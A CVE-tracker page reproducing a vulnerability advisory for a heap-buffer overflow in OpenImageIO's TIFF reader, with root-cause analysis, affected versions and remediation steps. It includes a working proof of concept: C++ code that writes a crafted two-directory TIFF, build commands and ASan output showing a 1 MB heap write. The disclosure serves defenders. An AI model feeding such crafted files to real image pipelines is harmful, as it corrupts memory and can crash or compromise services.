CVE Watchtower

CVE-2026-108386OpenImageIO Out-of-bounds Write

NVD

Vulnerability Summary

Summary A state-consistency bug in the TIFF reader causes a high-severity heap-buffer overflow when ImageCache processes a crafted multi-directory TIFF. ImageCache allocates a buffer for a valid 1×1 directory, but the retained TIFF reader subsequently copies 1,048,577 attacker-controlled bytes from a rejected directory into that allocation. The sequence occurs during normal ImageCache subimage enumeration and does not require incorrect API use. Details Commit `b8fe261` separated the requested logical image state, stored in `m_subimage` and `m_miplevel`, from the physical libtiff directory stored in `m_actual_subimage`. `TIFFInput::seek_subimage()` first checks only the logical fields at `src/tiff.imageio/tiffinput.cpp:917-920`: ```cpp if (subimage == m_subimage && miplevel == m_miplevel) { return true; } ``` When selecting another TIFF directory at `src/tiff.imageio/tiffinput.cpp:999-1033`, the function changes the physical directory, updates `m_actual_subimage`, and parses the new header into `m_spec`: ```cpp if (subimage == m_actual_subimage || TIFFSetDirectory(m_tif, subimage)) { m_actual_subimage = subimage; if (!readspec(read_meta)) return false; // Additional validation... if (!check_open(m_spec, ...)) return false; m_subimage = orig_subimage; m_miplevel = miplevel; return true; } ``` The logical fields are updated only after validation succeeds. Failures from `readspec()`, `TIFFRGBAImageOK()`, the format check, `check_open()`, or the compression-ratio check return without restoring or invalidating the previous logical state. This leaves three conflicting views of the current image: - `m_subimage` and `m_miplevel` describe the previous valid directory. - libtiff and `m_actual_subimage` describe the rejected directory. - `m_spec` contains the rejected directory’s dimensions and format. The PoC contains: - IFD0: valid 1×1, one-channel UINT8 image. - IFD1: selectable and parseable 1,048,577×1, one-channel UINT8 image. IFD1 exceeds the default `limits:resolution` value of 1,048,576. It is therefore selected and parsed, but rejected by `check_open()`. ImageCache automatically reaches this state while enumerating subimages at `src/libtexture/imagecache.cpp:847-1008`. It has already cached IFD0’s dimensions when the IFD1 probe fails. It then retains the same `ImageInput` at lines 1019-1027. When ImageCache requests pixels from IFD0, `seek_subimage(0, 0)` returns through the stale logical fast path without restoring libtiff to IFD0. `ImageInput::read_image()` and `read_scanlines()` consequently use IFD1’s width from `m_spec`. ImageCache allocates storage from IFD0’s cached dimensions at `src/libtexture/imagecache.cpp:1873-1897`. In the tested arm64 build, the allocation is one pixel byte plus 16 bytes of SIMD padding, or 17 bytes total. The final unchecked write occurs in `copy_image()` at `src/libOpenImageIO/imageio.cpp:1117`: ```cpp memcpy(t, f, width pixelsize); ``` AddressSanitizer reports a 1,048,577-byte write immediately after the 17-byte ImageCache allocation. The PoC uses the preferred public `image_span` overload with an accurately sized one-byte destination. Debug-mode span checks do not prevent the overflow because the internal raw-pointer path constructs its assumed destination extent from the stale `m_spec`, not from the actual ImageCache allocation. The issue reproduces at the introducing commit `b8fe261` and remains present at `b833e669`. The complete ImageCache path was reproduced with Debug checks enabled and libtiff 4.7.2. libtiff successfully decodes the selected directory into OIIO’s correctly sized scratch buffer; the overflow occurs later when OIIO copies that data into the smaller cache allocation. PoC The following instructions were tested on macOS arm64 with AppleClang 21, CMake 4.1.2, Ninja, and libtiff 4.7.2. The normal required OpenImageIO development dependencies must also be installed. Check out the affected revision: ```sh git checkout b833e669ad6826af7e6fc26a99b14fd06182b6cb ``` Configure a Debug build with AddressSanitizer: ```sh cmake -S . -B build-asan -G Ninja \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_FIND_PACKAGE_PREFER_CONFIG=ON \ -DSANITIZE=address \ -DUSE_PYTHON=OFF \ -DUSE_QT=OFF \ -DUSE_FFmpeg=OFF \ -DUSE_TBB=OFF \ -DBUILD_SHARED_LIBS=ON cmake --build build-asan --target OpenImageIO --parallel ``` Save the following as `poc/tiff_failed_seek.cpp`: ```cpp include <OpenImageIO/imagecache.h> include <OpenImageIO/strutil.h> include <tiffio.h> include <cstdint> include <vector> OIIO_NAMESPACE_USING static bool write_directory(TIFF tif, uint32_t width, unsigned char value) { TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(tif, TIFFTAG_IMAGELENGTH, 1); TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1); TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISBLACK); TIFFSetField(tif, TIFFTAG_COMPRESSION, COMPRESSION_ADOBE_DEFLATE); TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP, 1); std::vector<unsigned char> row(width, value); return TIFFWriteScanline(tif, row.data(), 0) >= 0 && TIFFWriteDirectory(tif); } int main() { constexpr const char* filename = "tiff_failed_seek.tif"; TIFF* tif = TIFFOpen(filename, "w"); if (!tif) return 1; bool wrote = write_directory(tif, 1, 0x11) && write_directory(tif, (1 << 20) + 1, 0x22); TIFFClose(tif); if (!wrote) return 1; auto cache = ImageCache::create(false); unsigned char pixel = 0; bool ok = cache->get_pixels( ustring(filename), 0, 0, ROI(0, 1, 0, 1, 0, 1, 0, 1), image_span<unsigned char>(&pixel, 1, 1, 1, 1)); if (!ok) print("{}\n", cache->geterror()); return ok && pixel == 0x11 ? 0 : 1; } ``` Compile the PoC against the sanitized Debug libraries: ```sh c++ -std=c++17 -fsanitize=address -g \ -Ibuild-asan/include \ -Isrc/include \ $(pkg-config --cflags libtiff-4) \ poc/tiff_failed_seek.cpp \ -Lbuild-asan/lib \ -lOpenImageIO_d \ -lOpenImageIO_Util_d \ $(pkg-config --libs libtiff-4) \ -Wl,-rpath,"$PWD/build-asan/lib" \ -o build-asan/tiff_failed_seek_poc ``` Run it: ```sh ASAN_OPTIONS=abort_on_error=1:symbolize=1 \ ./build-asan/tiff_failed_seek_poc ``` The generated TIFF is approximately 1.3 KB. Expected sanitizer output includes: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1048577 0 bytes after 17-byte region ``` The stack trace proceeds through: ```text copy_image convert_image ImageInput::read_scanlines ImageInput::read_image ImageCacheFile::read_untiled ImageCacheTile::read ImageCache::get_pixels ``` Impact Applications that process attacker-supplied TIFF files through ImageCache or TextureSystem are affected. This includes renderers, texture-processing pipelines, media services, and other applications that retain and reuse ImageInput objects through the cache. The attacker controls both the oversized write length through the rejected directory’s dimensions and the copied contents through its decoded pixel data. The resulting native heap corruption can terminate the process and may permit code execution in the embedding application.
Severity Level
HIGH
Published Date
Oct 13, 2026
Last Modified
Oct 13, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
The product writes data past the end, or before the beginning, of the intended buffer.

Affected & Patched Versions

Affected Versions
  • OpenImageIO >=3.1.4.0-beta
Patched Versions
  • OpenImageIO >= 3.2.0.4, >=3.1.18.0

What to do

Plan remediation soon. No exploitation is confirmed yet, but the severity is high.

  1. Check whether you run OpenImageIO and which version.
  2. Update to a patched version listed above, then confirm the new version.

Timeline

  • Oct 13, 2026Published
  • Oct 13, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new OpenImageIO CVEsYou are reading CVE-2026-108386. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 24, 2026 14:00 UTC